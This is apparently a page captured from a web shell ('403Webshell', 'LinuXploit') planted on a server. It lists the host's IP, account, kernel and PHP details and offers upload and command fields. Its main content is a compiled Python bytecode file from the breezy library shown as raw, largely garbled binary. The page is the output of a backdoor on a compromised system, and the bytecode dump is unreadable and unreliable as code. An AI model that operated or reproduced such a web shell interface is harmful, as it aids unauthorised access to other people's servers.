403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/memorytree.cpython-313.pyc
�

p��g�/���SrSSKrSSKrSSKJrJr SSKJr SSKJr	 SSK
Jr SSKJ
r
 SS	KJr SS
KJr "SS\
5rg)
z5MemoryTree object.

See MemoryTree for more details.
�N�)�errors�lock)�revision)�	transport)�	Inventory)�MutableInventoryTree)�sha_file)�MemoryTransportc���\rSrSrSrSrSrSrSrSr	Sr
S	r\S
5r
SrSrS$SjrSrSrSrSrSrSrSrS$SjrSrSrSrSrSrSrSrSr S%Sjr!S r"S!r#S%S"jr$S#r%g
)&�
MemoryTree�"z�A MemoryTree is a specialisation of MutableTree.

It maintains nearly no state outside of read_lock and write_lock
transactions. (it keeps a reference to the branch, and its last-revision
only).
c�Z�XlURUlX lSUlSUlg)z4Construct a MemoryTree for branch using revision_id.rN)�branch�
controldir�_branch_revision_id�_locks�
_lock_mode)�selfr�revision_ids   �3/usr/lib/python3/dist-packages/breezy/memorytree.py�__init__�MemoryTree.__init__*s(���� �+�+���#.� �������c��g)NT��rs r�supports_symlinks�MemoryTree.supports_symlinks2s��rc��g�NFrrs r�supports_tree_reference�"MemoryTree.supports_tree_reference5s��rc�6�URR5$�N)r�get_config_stackrs rr&�MemoryTree.get_config_stack8s���{�{�+�+�-�-rc��gr!r�r�filenames  r�is_control_filename�MemoryTree.is_control_filename;s��rc��UR5 [XU5H�upEnUc�URRU5Rn[R
"U5(aSnOG[R"U5(aSnO)[R"U5(aSnO[S5eUcURRXFS9 M�URRXFUS9 M� SSS5 g!,(df   g=f)zSee MutableTree._add.N�file�symlink�	directoryzUnknown file kind)�kind)r1�file_id)�lock_tree_write�zip�_file_transport�stat�st_mode�S_ISREG�S_ISLNK�S_ISDIR�AssertionError�
_inventory�add_path)r�files�kinds�ids�fr2r1r7s        r�_add�MemoryTree._add?s���
�
!�
!�
#�$'��E�$:� ��D��<�"�2�2�7�7��:�B�B�G��|�|�G�,�,�%�����g�.�.�(�����g�.�.�*��,�-@�A�A��?��O�O�,�,�Q�,�:��O�O�,�,�Q�7�,�K�%;�$�
#�
#�s�CC6�6
Dc��UR$)zSee Tree.basis_tree().)�_basis_treers r�
basis_tree�MemoryTree.basis_treeRs�����rc�4�[XR55$)zBCreate a MemoryTree for branch, using the last-revision of branch.)r
�
last_revision)rs r�create_on_branch�MemoryTree.create_on_branchVs���&�"6�"6�"8�9�9rc��g)zwSee MutableTree._gather_kinds.

This implementation does not care about the file kind of
missing files, so is a no-op.
Nr)rr>r?s   r�
_gather_kinds�MemoryTree._gather_kinds[s�rc�8�URRU5$)zSee Tree.get_file.)r5�get�r�paths  r�get_file�MemoryTree.get_filebs���#�#�'�'��-�-rNc�N�URRU5n[U5$)zSee Tree.get_file_sha1().)r5rPr
)rrR�
stat_value�streams    r�
get_file_sha1�MemoryTree.get_file_sha1fs#���%�%�)�)�$�/�����rc�<�UcgURURS4$)zSee Tree._comparison_data.N)NFN)r1�
executable)r�entryrRs   r�_comparison_data�MemoryTree._comparison_dataks!���=�$��z�z�5�+�+�T�1�1rc�L�UR5 URU5n[RR	U5upEURU5nUR
R
X5 URRX6U5 SSS5 g!,(df   g=fr%)	r3�path2id�osrR�splitr5�mover<�rename)r�from_rel�to_relr2�to_dir�to_tail�to_parent_ids       r�
rename_one�MemoryTree.rename_oneqsr��
�
!�
!�
#��l�l�8�,�G� �g�g�m�m�F�3�O�F��<�<��/�L�� � �%�%�h�7��O�O�"�"�7�'�B�$�
#�
#�s�A;B�
B#c�X�URU5nUcgURX5nUS:XaEURRU5n[	U5nUR
URnSnX5Xg4$US:XaUSSS4$US:XaUSSUR
UR4$[S5e)zSee Tree.path_content_summary.N)�missingNNNr.r0r/zunknown kind)	r`r1r5�	get_bytes�lenr<r[�symlink_target�NotImplementedError)rrR�idr1�bytes�sizer[�sha1s        r�path_content_summary�MemoryTree.path_content_summaryys���
�\�\�$�
��
�:�.��y�y��"���6�>��(�(�2�2�4�8�E��u�:�D�����,�7�7�J��D��
�1�1�
�[�
 ���t�T�)�)�
�Y�
���t�T�_�_�R�%8�%G�%G�G�G�%�n�5�5rc��UR5 [UR5sSSS5 $!,(df   g=f)zjSee Tree.get_parent_ids.

This implementation returns the current cached value from
    self._parent_ids.
N)�	lock_read�list�_parent_idsrs r�get_parent_ids�MemoryTree.get_parent_ids�s(���^�^�
���(�(�)��
�
�s�0�
>c�8�URRU5$)zSee Tree.has_filename().)r5�hasr)s  r�has_filename�MemoryTree.has_filename�s���#�#�'�'��1�1rc�L�URRU5R$r%)r<�get_entry_by_pathr[rQs  r�
is_executable�MemoryTree.is_executable�s�����0�0��6�A�A�Arc�L�URRU5R$r%)r<r�r1rQs  rr1�MemoryTree.kind�s�����0�0��6�;�;�;rc��URUSU5 UcURU5nURRU5 U$)zSee MutableTree.mkdir().r0)�addr`r5�mkdir)rrRr2s   rr��MemoryTree.mkdir�s>������{�G�,��?��l�l�4�(�G����"�"�4�(��rc�p�UR5 URsSSS5 $!,(df   g=f)zSee MutableTree.last_revision.N)ryrrs rrI�MemoryTree.last_revision�s!��
�^�^�
��+�+��
�
�s�'�
5c�8�U=RS-
slURS:Xa1URR5 SUlUR	5 [
R"UR5$![a U=RS-slef=f)zfLock the memory tree for reading.

This triggers population of data from the branch for its revision.
r�r)	rrryr�_populate_from_branchr�LogicalLockResult�unlock�
BaseExceptionrs rry�MemoryTree.lock_read�s{��
	
���q���	��{�{�a�����%�%�'�"%����*�*�,��)�)�$�+�+�6�6���	��K�K�1��K��	�s�A A8�8!Bc��U=RS-
slURS:Xa2URR5 SUlUR	5 O'URS:Xa[
R"U5e[R"UR5$![a U=RS-slef=f)z"See MutableTree.lock_tree_write().r�wr�)rrryrr�r�
ReadOnlyErrorr�rr�r�rs rr3�MemoryTree.lock_tree_write�s������q���		��{�{�a�����%�%�'�"%����*�*�,����C�'��*�*�4�0�0�(�
�%�%�d�k�k�2�2���	��K�K�1��K��	�s�AB �&B � !Cc��U=RS-
slURS:Xa2URR5 SUlUR	5 O&URS:Xa[
R"U5e[R"UR5$![a U=RS-slef=f)zSee MutableTree.lock_write().rr�r�)rr�
lock_writerr�rr�rr�r�r�rs rr��MemoryTree.lock_write�s������q���
	��{�{�a�����&�&�(�"%����*�*�,����C�'��*�*�4�0�0��)�)�$�+�+�6�6���	��K�K�1��K��	�s�BB�!Cc�,�UR5 UR[R:Xa/UlOUR/Ul[SURR55Ul[5Ul
URR5nUH�up#URRUR55 US:XaM6URS:XaURRU5 McURS:Xa(URR!UR"U5 M�URS:Xa6URR%X RR'U55 M�[)UR*5e g)z+Populate the in-tree state from the branch.N�r0r/r.)�
_set_basisr�
_mod_revision�
NULL_REVISIONr{rrE�get_revision_idr<rr5�iter_entries_by_dirr��copyr1r�r/rp�put_filerSrqr�)r�inventory_entriesrRr\s    rr�� MemoryTree._populate_from_branch�s.�������#�#�}�'B�'B�B�!�D�� $� 8� 8�9�D��#�D�$�*:�*:�*J�*J�*L�M���.�0��� �,�,�@�@�B��,�K�D��O�O����
�
��-��r�z���z�z�[�(��$�$�*�*�4�0����y�(��$�$�,�,�U�-A�-A�4�H����v�%��$�$�-�-�d�4D�4D�4M�4M�d�4S�T�)�$�*D�*D�E�E�-rc�:�URRX5 g)z*See MutableTree.put_file_bytes_non_atomic.N)r5�	put_bytes)rrRrss   r�put_file_bytes_non_atomic�$MemoryTree.put_file_bytes_non_atomic�s�����&�&�t�3rc���URS:Xa?SUl/UlSUlURR5 SUlSUlgU=RS-slg!SUlSUlf=f)z^Release a lock.

This frees all cached state when the last lock context for the tree is
left.
rNr)rrEr{r<rr�rrs rr��MemoryTree.unlock�sj���;�;�!��#�D��!�D��"�D�O�
'����"�"�$����"&����K�K�1��K�� ���"&���s�A&�&A6c��UR5 [5nUH>nURU5nUc[R"U5eURU5 M@ UH@nURRU5(dM%URRU5 MB SSS5 g!,(df   g=f)z�Remove the paths from the current versioned set.

When a file_id is unversioned, all of its children are automatically
unversioned.

:param paths: The paths to stop versioning.
:raises: NoSuchId if any fileid is not currently versioned.
N)	r3�setr`�_mod_transport�
NoSuchFiler�r<�has_id�remove_recursive_id)r�paths�file_idsrRr2s     r�	unversion�MemoryTree.unversion	s����
!�
!�
#��u�H����,�,�t�,���?�(�3�3�D�9�9����W�%�	�
$���?�?�)�)�'�2�2��O�O�7�7��@�$�$�
#�
#�s�A2B/�B/�/
B=c���UHn[R"U5 M [U5S:Xa/Ul[RUlOXlUSUlX lUR5 g)�#See MutableTree.set_parent_trees().rN)r��check_not_reserved_idror{r�r�_allow_leftmost_as_ghostr�)r�revision_ids�allow_leftmost_as_ghostrs    r�set_parent_ids�MemoryTree.set_parent_ids s_��'�K��/�/��<�(��|���!�!�D��'4�'B�'B�D�$�+��'3�A��D�$�(?�%����rc�6�URRRUR5Ulg![
RaM UR(a:URRR[R5Ulgef=fr%)
r�
repository�
revision_treerrEr�NoSuchRevisionr�r�r�rs rr��MemoryTree._set_basis-sx��
	�#�{�{�5�5�C�C��(�(� �D����$�$�	��,�,�#'�;�;�#9�#9�#G�#G�!�/�/�$�� ��
	�s�47�AB�Bc��UR5 URRU5sSSS5 $!,(df   g=fr%)ryr5�readlinkrQs  r�get_symlink_target�MemoryTree.get_symlink_target:s,��
�^�^�
��'�'�0�0��6��
�
�s	�6�
Ac��[U5S:Xa@/UlURRR	[
R5UlgUSSc#U(d[R"USS5eUVVs/sHup4UPM	 snnUlUSSbUSSS:Xa9URRR	[
R5UlO
USSUlUSSUl
gs snnf)r�rrNsnull:)ror{rr�r�r�r�rEr�GhostRevisionUnusableHerer)r�parents_listr��	parent_id�trees     r�set_parent_trees�MemoryTree.set_parent_trees>s����|���!�!�D��#�{�{�5�5�C�C��+�+� �D���A��q�!�)�2I��6�6�|�A��q�7I�J�J�AM�N��o�i�	��N�D���A��q�!�)�\�!�_�Q�-?�8�-K�#'�;�;�#9�#9�#G�#G�!�/�/�$�� �$0��?�1�#5�� �'3�A��q�'9�D�$�� Os�D)
r�rErr5r<rrr{rrr%)F)&�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr"r&r+rBrF�staticmethodrJrMrSrXr]rjrvr|r�r�r1r�rIryr3r�r�r�r�r�r�r�r�r��__static_attributes__rrrr
r
"s�������.��L�& ��:��:��.� �
2�C�6�(*�2�B�<��,�
� 
3�
�F�04��$A�.��7�:rr
)r�rar6r�rrrr�rr��
bzr.inventoryr�bzr.inventorytreer	�osutilsr
�transport.memoryrr
rrr�<module>r�s6��"�

���'�)�$�3��-�n:�%�n:r

Youez - 2016 - github.com/yon3zu
LinuXploit